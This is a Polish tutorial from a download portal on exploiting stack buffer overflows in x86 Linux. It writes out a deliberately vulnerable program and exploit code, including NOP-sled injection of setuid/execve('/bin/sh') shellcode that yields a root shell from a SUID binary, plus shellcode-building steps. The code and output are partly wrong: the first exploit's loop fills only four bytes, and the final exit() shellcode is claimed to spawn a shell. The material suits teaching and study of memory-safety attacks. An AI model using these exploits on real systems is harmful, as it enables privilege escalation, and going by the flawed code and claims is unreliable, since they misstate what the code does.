software center, download, programy, pliki, teledyski, mp3
Menu główne


line strona główna
line darmowy download
line baza artykułów i porad
line kontakt z nami
Programy
line Systemy
line Artykuły PDF

Security

line Skanery
line Sniffery
line Security

Windows

line Użytkowe
line Przeglądarki graficzne
line Kodeki
line Narzędzia plikowe
line Narzędzia dyskowe
line Narzędzia systemowe
line Sterowniki
line Szyfrowanie danych
line Zarządzanie hasłami
line Zarządzanie rejestrem
line Łaty i Patche
line Zarządzanie pamięcią
line Synchronizacja czasu
line Nagrywanie płyt
line Free Antivirus (Darmowe Antyvirusy)
line Sterowniki
line Obróbka dźwięku
line Edycja wideo

Internetowe

line Bezpieczeństwo
line Programy p2p
line Komunikatory
line Dodatki do przeglądarek
line Klienty poczty elektronicznej
line Narzędzia Antyspamowe
line Przeglądarki grup dyskusyjnych
line Przeglądarki Offline
line Serwery poczty elektronicznej
line Telefonia komórkowa
line Wyszukiwarki internetowe
line Zdalny dostęp
line Cybernianie
line Klienty FTP
line Narzędzia internetowe
line Prywatnośc
line Przeglądarki internetowe
line Serwery FTP
line Serwery WWW
line Wspomagacze ściągania
line Zarządzanie siecią lokalną

Tuning Systemu

line Diagnostyka i testowanie
line Inne
line Rozszerzenia pulpitu
line Tapety na pulpit
line Tuning Systemu
line Ikony
line Powłoki
line Tuning sprzętu
line Wygaszacze ekranu

Programowanie

line Kompilatory
line Biblioteki i komponenty
line Bazy danych
line Edytory programistyczne
line Środowiska programistyczne
line Debugery
line Tworzenie wersji instalacyjnych

Webmastering

line Użytkowe
line Kursy

Linux

line Użytkowe
line Internetowe
line Multimedialne

Programy biurowe

line Programy dla firm
line Pakiety biurowe
line Administracja
line Edytory tekstu
line Grafika prezentacyjna
line Kadry i płace
line Wspomaganie projektowania
line Zarządzanie projektami
line Bazy danych
line Finanse i księgowośc
line Handel
line Programy ewidencyjne
line Zarządzanie informacją osobistą (PIM)
Nasze serwisy

Programy download
Bramka SMS
Download
Gry
Gry Online
Linux
Muzyka
Newsy
Programowanie
Program TV
Śmieszne Filmy
Teledyski
Kobiety


Artykuły > Bezpieczeństwo > Buffer Overflow (art. 2)

Buffer Overflow (art. 2)

by h07 (h07@interia.pl)

 

Intro.

 

Artykuł ten kierowany jest do osób znających podstawy języków programowania

C i Assembler a także architektury systemu Linux i sposobów

zarządzania pamięcią przez procesory IA32 (x86).

 

1) Przestrzenie adresowe, przejmowanie kontroli nad programem.

 

Procesory z rodziny IA32 (x86) nie rozróżniają rozkazów i danych i

jeżeli napotkają rozkazy w miejscu gdzie powinny znajdować się dane

zaczynają je wykonywać. Ubocznym skutkiem takiego działania jest

możliwość dokonywania włamań.

Dla każdego programu system tworzy w pamięci przestrzeń adresową.

Ów przestrzeń może dzielić się na trzy segmenty.text,.bss oraz.data.

Segmenty.bss i.data zarezerwowane są na dane natomiast segment.text

przeznaczony jest do przechowywania rozkazów programu.

Przy uruchomieniu pliku wykonywalnego informacja w nim zapisana

wczytywana jest do utworzonej przestrzeni adresowej, po czym

inicjowany jest stos oraz sterta. Jednym z podstawowych zadań stosu

jest umożliwienie programom korzystania z funkcji, zatem możliwe jest

wykonanie grupy rozkazów niezależnie od reszty programu.

Terminem włamania określamy wykorzystanie “słabego punktu”

programu lub systemu w celu spowodowania działania innego niż

przewidzieli programiści.

 

//target.c

 

char pass[] = "open";

 

void access()

{

printf("password ok\n");

}

 

int main(int argc, char *argv[])

{

char buff[80];

if(argc < 2)

 {

 printf("%s <password>\n", argv[0]);

 exit(0);

 }

strcpy(buff, argv[1]);

if(strcmp(buff, pass) == 0)

access(); else

printf("access denied\n");

return 0;

}

 

Wyżej przedstawiony program podatny jest na przepełnienie bufora.

Zakładamy ze nie znamy hasła dostępu a chcielibyśmy wywołać

funkcje access(), która wyświetli stosowny komunikat. Cel ten można

osiągnąć nadpisując rejestr EIP adresem funkcji access() co w rezultacie

spowoduje skok i wykonanie ów funkcji. Aby odczytać adres funkcji access()

musimy przyjrzeć się funkcji main() rozpisanej w kodzie assemblera,

 

[h07@h07, BO]$ gcc -o target target.c

[h07@h07, BO]$ gdb target

 

(gdb) disas main

Dump of assembler code for function main:

0x08048444 <main+0>: push %ebp

0x08048445 <main+1>: mov %esp,%ebp

0x08048447 <main+3>: sub $0x58,%esp

0x0804844a <main+6>: and $0xfffffff0,%esp

0x0804844d <main+9>: mov $0x0,%eax

0x08048452 <main+14>: add $0xf,%eax

0x08048455 <main+17>: add $0xf,%eax

0x08048458 <main+20>: shr $0x4,%eax

0x0804845b <main+23>: shl $0x4,%eax

0x0804845e <main+26>: sub %eax,%esp

0x08048460 <main+28>: cmpl $0x1,0x8(%ebp)

0x08048464 <main+32>: jg 0x8048485 <main+65>

0x08048466 <main+34>: sub $0x8,%esp

0x08048469 <main+37>: mov 0xc(%ebp),%eax

0x0804846c <main+40>: pushl (%eax)

0x0804846e <main+42>: push $0x80485c5

0x08048473 <main+47>: call 0x804834c <_init+72>

0x08048478 <main+52>: add $0x10,%esp

0x0804847b <main+55>: sub $0xc,%esp

0x0804847e <main+58>: push $0x0

0x08048480 <main+60>: call 0x804835c <_init+88>

0x08048485 <main+65>: sub $0x8,%esp

0x08048488 <main+68>: mov 0xc(%ebp),%eax

0x0804848b <main+71>: add $0x4,%eax

0x0804848e <main+74>: pushl  (%eax)

0x08048490 <main+76>: lea 0xffffffa8(%ebp),%eax

0x08048493 <main+79>: push %eax

0x08048494 <main+80>: call 0x804836c <_init+104>

0x08048499 <main+85>: add $0x10,%esp

0x0804849c <main+88>: lea 0xffffffa8(%ebp),%eax

0x0804849f <main+91>: sub $0x8,%esp

0x080484a2 <main+94>: push $0x80495f4

0x080484a7 <main+99>: push %eax

0x080484a8 <main+100>: call 0x804832c <_init+40>

0x080484ad <main+105>: add $0x10,%esp

0x080484b0 <main+108>: test %eax,%eax

0x080484b2 <main+110>: jne 0x80484bb <main+119>

0x080484b4 <main+112>: call 0x804842c <access>

0x080484b9 <main+117>: jmp 0x80484cb <main+135>

0x080484bb <main+119>: sub $0xc,%esp

0x080484be <main+122>: push $0x80485d4

0x080484c3 <main+127>: call 0x804834c <_init+72>

0x080484c8 <main+132>: add $0x10,%esp

0x080484cb <main+135>: mov $0x0,%eax

0x080484d0 <main+140>: leave

0x080484d1 <main+141>: ret

 

Interesuje nas instrukcja (call 0x804842c <access>) która powoduje przejscie do

wykonywania kodu o adresie 0x804842c. Zatem znamy już adres funkcji access().

“Wyexploitowanie” tego programu będzie polegało na nadpisaniu rejestru EIP adresem

funkcji access().

 

//exp1.c (call 0x804842c <access>)

 

#include <stdio.h>

 

#define RET 0x804842c

#define BUFF_SIZE 92

 

int main()

{

int i;

char buffer[BUFF_SIZE];

 

for(i = 0; i <= BUFF_SIZE; i += 4)

*((long*)(&buffer)) = RET;

 

execl("./target", "target", buffer, NULL);

 

return 0;

}

 

Ten prosty exploit wypełnia cały bufor adresem funkcji access() po czym

uruchamia “dziurawy” program podając mu bufor jako parametr.

Rozmiar bufora jest o 12 bajtów większy niż rozmiar bufora atakowanego

programu, mniejsza wartość nie powoduje błędu segmętacji.

 

Uruchamiamy exploit..

 

[h07@h07 BO]$ gcc -o exp1 exp1.c

[h07@h07 BO]$ ./exp1

access denied

password ok

 

Jak widzimy exploit nadpisał rejestr EIP adresem funkcji access() co spowodowało

jej bezwarunkowe wykonanie.

 

 

2) Ustalanie adresu kodu powłoki.

 

Istnieje kilka metod ustalania adresu shellcodu.

Dwa najbardziej popularne sposoby to odejmowanie offsetu od dna stosu

lub od jego wierzchołka. Szanse na odnalezienie “wstrzykniętego” shellcodu

możemy zwiększyć kilka, krotnie stosując metodę wypełniania bufora instrukcjami

NOP.

 

przykład:

 

[N] = NOP

[S] = Shellcode

[R] = RET (Adres powrotny)

 

Bufor --> [NNNNNNNNNNNNNNNNNNSSSSSSSR]

 

Instrukcje NOP nie robią nic zatem trafienie w szereg tych instrukcji powoduje

dalszy odczyt rozkazów aż do napotkania naszego kodu powłoki (shellcode).

Im większy bufor tym lepiej dla nas, ponieważ wpakujemy w niego więcej instrukcji

NOP zwiększając tym samym prawdopodobieństwo trafienia w szereg tych instrukcji.

 

Niżej przedstawiony exploit uruchomi powlokę systemu wykorzystując “dziurę”,

w programie target.c. Ustalenie adresu kodu powłoki będzie realizowane po przez

odejmowanie offsetu od wierzchołka stosu.

 

//exp2.c

 

#include <stdio.h>

 

#define BUFF_SIZE 92

#define NOP 0x90

 

char shellcode[] =

 

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"

"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"

"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"

"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"

"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";

 

unsigned long get_esp() //funkcja zwracająca wartosc rejestru ESP (wskaźnik wierzchołka stosu)

{

__asm__("movl %esp,%eax");

}

 

int main(int argc, char *argv[])

{

char buffer[BUFF_SIZE];

long ret_adr, offset;

 

if (argc == 1)

 {

 printf("ussage: %s <offset>\n", argv[0]);

 exit(0);

 }

 

offset = atoi(argv[1]); 

 

ret_adr = get_esp() - offset; //ustalenie adresu shellcodu po przez odjęcie offsetu od wierzchołka stosu

 

*((long*)(&buffer[BUFF_SIZE])) = ret_adr;

 

printf("[+] return address: 0x%x\n", ret_adr);

 

memset(buffer, NOP, BUFF_SIZE);

 

memcpy(buffer + BUFF_SIZE - strlen(shellcode) -4, shellcode, strlen(shellcode));

 

execl("./target", "target", buffer, NULL);

 

return 0;

}

 

Przed uruchomieniem exploitu ustawimy atrybut SUID dla programu target.c dzięki czemu

zdobędziemy uprawnienia root'a gdy atakowany program utworzy nową powlokę systemu.

 

[root@h07 BO]# chown root target

[root@h07 BO]# chmod +s target

 

Teraz odpalamy exploit..

 

[h07@h07 BO]$ whoami

h07

[h07@h07 BO]$ ./exp2 10

[+] return address: 0xbffff4de

access denied

sh-2.05b# whoami

root

sh-2.05b#

 

Jak widzimy otrzymaliśmy rootshell'a a odnalezienie adresu kodu powłoki

powiodło się za pierwszym “strzałem” (offset 10) .

 

3) Podstawy tworzenia kodu powłoki.

 

Kod powłoki jest zbiorem rozkazów wykonywanych przez "zaatakowany" program a

tworzenie takiego kodu jest jedną z podstawowych umiejętności hakera.

W systemie Linux wywołanie systemowe odbywa się za pomocą przerwania

programowego int 0x80. Następuje wówczas przejście z trybu użytkownika

w tryb jądra i wykonanie funkcji systemowej.

Do rejestru EAX ładowany jest identyfikator funkcji a jej argumenty trafiają

do innych rejestrów procesora. Następnie wykonywane jest przejście w tryb

jądra (przerwanie int 0x80) i wykonanie wywołania systemowego.

Wywołanie exit() jest jednym z podstawowych wywołań systemu i to

właśnie na podstawie tego "dydaktycznego" wywołania zostanie przedstawiony

proces tworzenia kodu powłoki.

 

 

//exit.c

main()

{

exit(0);

}

 

Aby uzyskać identyfikator funkcji musimy skompilować ten program "statycznie"

dzięki czemu wywołanie systemowe zostanie zachowane w programie.

 

[h07@h07 BO]$ gcc -static -o exit exit.c

[h07@h07 BO]$ gdb exit

 

(gdb) disas _exit

 

Interesują nas dwie otrzymane instrukcje..

 

mov $0x1,%eax

int $0x80

 

Powodują one przekazanie identyfikatora wywołania systemowego exit()

do rejestru EAX i przejście procesora w tryb jądra co umożliwi jego wykonanie.

Zatem aby stworzyć kod powłoki używający wywołania exit() musimy

umieścić w rejestrze EAX wartość 1 oraz wykonać przerwanie programowe

int 0x80. Argument funkcji exit(0); czyli 0 przekażemy do rejestru EBX.

 

;exit.asm

 

Section .text

 

 global _start

 

_start:

 

mov ebx,0

mov eax,1

int 0x80

 

Na podstawie tych instrukcji wygenerujemy binarny plik ELF

z którego pobierzemy kody szesnastkowe

potrzebne do utworzenia naszego kodu powłoki.

Do tego celu będziemy potrzebowali narzędzia NASM (Netwide Assembler).

Jest to darmowy assembler dla procesorów x86.

 

[h07@MD5 BO]$ nasm -f elf exit.asm

[h07@MD5 BO]$ ld -o exit exit.o

[h07@MD5 BO]$ objdump -d exit

 

Dzięki programowi objdump uzyskaliśmy kody szesnastkowe.

 

exit: file format elf32-i386

 

Disassembly of section .text:

 

08048080 <_start>:

 8048080: bb 00 00 00 00 mov $0x0,%ebx

 8048085: b8 01 00 00 00 mov $0x1,%eax

 804808a: cd 80 int $0x80

 

Teraz wystarczy uzyskane kody szesnastkowe wpisać do tablicy typu char

i powstanie nam gotowy do użycia kod powłoki.

 

char shellcode[] =

 

"\xbb\x00\x00\x00\x00" 

"\xb8\x01\x00\x00\x00" 

"\xcd\x80";

 

Aby przetestować kod powłoki możemy skorzystać z poniżej przedstawionego

kodu programu w języku C.

 

//shellcode.c

 

char shellcode[] =

 

"\xbb\x00\x00\x00\x00"

"\xb8\x01\x00\x00\x00"

"\xcd\x80";

 

int main()

{

int (*func)();

func = (int (*)()) shellcode;

(int)(*func)();

return 0;

}

 

Kompilujemy i uruchamiamy..

 

[h07@MD5 BO]$ gcc -o shellcode shellcode.c

[h07@MD5 BO]$ ./shellcode

[h07@MD5 BO]$

 

Program bezbłędnie zakończył swoje działanie używając wywołania

systemowego exit(). Jeśli chcemy upewnić się ze nasz kod powłoki

rzeczywiście wykonał wywołanie exit() możemy skorzystac z

narzędzia strace.

 

[h07@MD5 BO]$ strace ./shellcode

execve("./shellcode", ["./shellcode"], [/* 62 vars */]) = 0

uname({sys="Linux", node="MD5", ...}) = 0

brk(0) = 0x804a000

open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000

open("/etc/ld.so.cache", O_RDONLY) = 3

fstat64(3, {st_mode=S_IFREG|0644, st_size=52036, ...}) = 0

old_mmap(NULL, 52036, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000

close(3) = 0

open("/lib/tls/libc.so.6", O_RDONLY) = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220O\1"..., 512) = 512

fstat64(3, {st_mode=S_IFREG|0755, st_size=1165108, ...}) = 0

old_mmap(NULL, 1175436, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40023000

old_mmap(0x4013c000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x118000) = 0x4013c000

old_mmap(0x40140000, 8076, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40140000

close(3) = 0

set_thread_area({entry_number:-1 -> 6, base_addr:0x400158a0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0

munmap(0x40016000, 52036) = 0

_exit(0)

 

Jak łatwo można zauważyć ostatnim wywołaniem systemowym programu jest

exit().

 

Kod powłoki “wstrzykiwany” jest przez exploit do bufora, który w

większości przypadków jest tablicą znakową. Osoby programujące

w języku C zapewne zauważyły ze nasz shellcode zawiera bajty zerowe

(\x00) które używane są do ustalania końca łańcucha znakowego.

Zatem “wstrzykniecie” i wykonanie tego kodu powłoki jest nie możliwe

ponieważ zostanie on ucięty.

 

Bajty zerowe pojawiły się w naszym kodzie powłoki na skutek

wykonania dwóch instrukcji..

 

mov ebx,0

mov eax,1

 

Miały one ustalić wartość 0 dla rejestru EBX i wartość 1 dla

rejestru EAX. Rejestry te są 32-bitowe (4-bajtowe) a podane

przez nas wartości można zapisać za pomocą 1 bajtu co

spowodowało ze pozostałe bajty rejestrów zawierają wartość 0.

 

Aby pozbyć się bajtów zerowych z pierwszej instrukcji i “wyzerować”

rejestr EBX wykorzystamy rozkaz operacji różnicy symetrycznej XOR.

Jeśli argumenty rozkazu XOR są identyczne uzyskamy wartość 0.

 

xor ebx,ebx

 

32-bitowy rejestr EAX dzieli się na dwa 16-bitowe rejestry, z których

jeden dostępny jest jako AX a rejestr AX dzieli się na dwa 8-bitowe (1-bajtowe)

rejestry AL i AH.

 

Zatem aby uniknąć powstawania bajtów zerowych w naszym kodzie powłoki

musimy zapisać w rejestrze EAX tylko 1 bajt wykorzystując do tego

(1-bajtowy) rejestr AL. Przed wykonaniem tej operacji rejestr EAX

również musi zostać “wyzerowany” rozkazem XOR.

 

xor eax,eax

mov al,1

 

Zmodyfikowany plik exit.asm wygląda następująco..

 

;exit.asm

 

Section .text

 

 global _start

 

_start:

 

xor ebx,ebx

xor eax,eax

mov al,1

int 0x80

 

Uzyskujemy kody szesnastkowe..

 

[h07@MD5 BO]$ nasm -f elf exit.asm

[h07@MD5 BO]$ ld -o exit exit.o

[h07@MD5 BO]$ objdump -d exit

 

exit: file format elf32-i386

 

Disassembly of section .text:

 

08048080 <_start>:

 8048080: 31 db xor %ebx,%ebx

 8048082: 31 c0 xor %eax,%eax

 8048084: b0 01 mov $0x1,%al

 8048086: cd 80 int $0x80

 

Uzyskane kody szesnastkowe wprowadzamy do tablicy znakowej

programu shellcode.c

 

//shellcode.c

 

char shellcode[] =

 

"\x31\xdb"

"\x31\xc0"

"\xb0\x01"

"\xcd\x80";

 

int main()

{

int (*func)();

func = (int (*)()) shellcode;

(int)(*func)();

 

return 0;

}

 

Uruchamiamy kod powłoki..

 

[h07@MD5 BO]$ gcc -o shellcode shellcode.c

[h07@MD5 BO]$ ./shellcode

sh-2.05b$

 

Shellcode zadziałał poprawnie tworząc nową powlokę systemu.


komentarz[1] |

programy download hacking program tv bramka sms teledyski kody do gier
trailery filmiki gry online antywirusy artykuły tutoriale systemy
© 2006-2009 haksior.com. Wszelkie prawa zastrzeżone.
Design by jPortal.info
0.028 |